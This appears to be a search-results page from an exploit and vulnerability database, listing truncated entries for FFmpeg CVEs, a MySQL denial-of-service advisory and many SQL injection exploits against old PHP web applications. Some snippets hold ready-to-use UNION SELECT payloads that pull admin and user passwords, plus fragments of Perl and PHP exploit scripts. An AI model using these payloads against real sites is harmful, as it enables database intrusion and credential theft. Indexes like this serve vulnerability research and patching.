229 matches found
PT-2016-1144 · FFmpeg +1 · Ffmpeg +1
Name of the Vulnerable Software and Affected Versions: FFmpeg versions 2.x Description: The issue allows remote attackers to conduct cross-origin attacks and read arbitrary files by using the concat protocol in an HTTP Live Streaming HLS M3U8 file. This leads to an external HTTP request where the...
CVE-2016-1898
FFmpeg 2.x allows remote attackers to conduct cross-origin attacks and read arbitrary files by using the subfile protocol in an HTTP Live Streaming HLS M3U8 file, leading to an external HTTP request in which the URL string contains an arbitrary line of a local file...
Live CMS SQL Injection Vulnerability
No description provided by source. / - Live CMS SQL Injection Vulnerability - ---Date : 2010-06-17 ---Author : ahwak2000 ---Email : z.u5athotmail.com - Script Info - ---Home : http://live-space.ru ---Demo : http://demo.live-space.ru/index.php - Vulnerability -...
Opial 1.0 - Arbitrary File Upload/XSS/SQL Injection Vulnerabilities
No description provided by source. ::::::::::::::::::::R3AL.RU:::::::::::::::::::: Opial 1.0 Arbitrary File Upload & XSS & SQL Injection genresparent Author: LMaster Greetz: r3al.ru Official Site with demo: http://www.opial.com --Arbitrary File Upload-- 1. Go to http://www.site.com/register.php 2...
vbLOGIX Tutorial Script <= 1.0 (cat_id) SQL Injection Vulnerability
No description provided by source. ===================================================================================================== vbLOGIX Tutorial Script = v1.0 catid Remote SQL Injection Exploit...
Vacation Rental Script SQL Injection Vulnerability
No description provided by source. ::::::::::::::::::::::::: Exploit Title : vacation Rental Script SQL injection Vulnerability Author : JaMbA Script Site : www.commodityrentals.com Version : All Versions Tested on : Windows & Linux :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::...
Softbiz Jobs Multiple SQL Injection Vulnerabilities
No description provided by source. ----------------------------Information------------------------------------------------ +Name : Softbiz Jobs moredetails.php SQL injection +Autor : Easy Laster +Date : 23.02.2010 +Script : Softbiz Jobs +Download : ----- +Demo :http://pricebusterdeals.com/ +Price...
Gravity Board X 2.0 BETA (Public Release 3) - SQL Injection Vulnerability
No description provided by source. !/usr/bin/perl Exploit Title: Gravity Board X 2.0 BETA Public Release 3 SQL INJECTION Date: 26.02.2010 Author: Ctacok Software Link: http://www.gravityboardx.com/ Version: 2.0 BETA Public Release 3 Tested on: Windows SP 3 Code : exploit code use LWP::Simple; pri...
BtiTracker <= 1.4.7, xbtit <= 2.0.542 SQL Injection Vulnerability
No description provided by source. BtiTracker/xBtiTracker Remote SQL Injection Vulnerability Author: InATeam http://inattack.ru/ Affected versions: BtiTracker = 1.4.7, xBtiTracker = 2.0.542 Software site: http://www.btiteam.org/...
Craigslist Gold - SQL Injection Vulnerability
No description provided by source. Exploit Title: Craigslist Clone Gold SQL injection Vulnerability Date: 04/05/2013 Author: Fallaga Team: FaLLaGa Tunisian Hackers Script url: http://www.scriptcopy.com/craigslist-clone-script/Craiglist-Gold-4444.html Version: N/A Tested on: Demo CVE : EXPL0!T...
ZeroCMS 1.0 - SQL Injection Vulnerability
Exploit for php platform in category web applications ZeroCMS 1.0 articleid SQL Injection Vulnerability Vendor: Another Awesome Stuff Product web page: http://www.aas9.in/zerocms/ Affected version: 1.0 Summary: ZeroCMS is a very simple Content Management System built using PHP and MySQL. Desc:...
SN News 1.2 - 'visualiza.php' SQL Injection
\n"; echo "Example:\n"; echo "php $argv0 http://www.website.com/snnews\n"; exit; $target = $argv1; ifsubstr$target, strlen$target-1!="/" $target .= "/"; $inject = $target . "visualiza.php?id=-0'%20"; $token = uniqid; $tokenhex = hex$token; echo " Trying to get informations...\n"; $infos =...
Feifei television system(PHP) v1. 9 injection vulnerability and fix-vulnerability warning-the black bar safety net
Method of use: http://www.xxxx.com /? s=vod-read-id-1%20and%2 0 1=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,concat0x40,adminid,0x40,adminname,0x40,adminpwd,0x40,2 8,29%20from%20ppadmin--.html And then broke account password,back to their own guess...
MySQL < 5.0.92 Multiple Denial of Service
The version of MySQL installed on the remote host is older than 5.0.92. As such, it reportedly is prone to multiple denial of service attacks : - The improper handling of type errors during argument evaluation in extreme-value functions, e.g., 'LEAST' or 'GREATEST' causes server crashes...
rgboard 4.2.1 - SQL Injection
rgboard 4.2.1 - SQL Injection Exploit Title: rgboard SQL Injection Vulnerability inurl: rgboard4/list.php Date: 2011. 6.22 Author: hamt0ry [email protected] Test on : Windowss XP SP3 Software Link: http://v4.rgboard.com/rg4board/down.php?&bbscode=rgboardpds&bdnum=1757&key=0&mode=down Version: rgboa...
EggAvatar for vBulletin 3.8.x - SQL Injection
!/usr/bin/env perl use LWP::UserAgent; sub banner print "\n"; print " DSecurity \n"; print "\n"; print " Email:dsecurity.vnatgmail.com \n"; print "\n"; if@ARGVnew; $ua-agent"DSecurity"; $ua-cookiejar; sub login@ my $username=shift; my $password=shift; my $req = HTTP::Request-newPOST =...
PHP Place SQL Injection
=========================================== PHP Place SQL Injection Vulnerability =========================================== +Title : PHP Place SQL Injection Vulnerability +Software : PHP Place +Vendor : NN +Download : NN +Author : josalijoe +Contact : josalijoeatyahoodotcom +Home :...
eSmart-Vision Trading SQL Injection
eSmart-Vision Trading Multiple SQL Injection Exploit http://www.esmart-vision.com/application.htm By cr4wl3r inj3ct0r team PoC: http://www.target.com/newsdetail.php?id=-9999 UniOn aLL SeLeCt 1,ConCatEmail,0x3a,Password,3,4,5,6,7 fRoM userinfo-- http://www.target.com/proddetails.php?id=-9999 UniOn...
PTCPay GEN4 - 'buyupg.php' SQL Injection
===================================================== PTCPay GEN4 buyupg.php SQL Injection Vulnerability ===================================================== Exploit Title: Date: 28.06.2010 Author: Dark.Man [email protected] Thanks To: Diq3N , SkyTurk , ByHuCRe , HeuRiSTiC , th3spy , 3KStyL3 ...
BackLinkSpider 1.3.1774.0 SQL Injection / Cross Site Scripting
Exploit Title: BackLinkSpider - links.php - SQL & XSS Injection Vulnerability Date: 2010-05-27 Author: sniper ip Software Link: http://www.backlinkspider.com Version: v 1.3.1774.0 Tested on: CVE : if exists Exploit : SQL...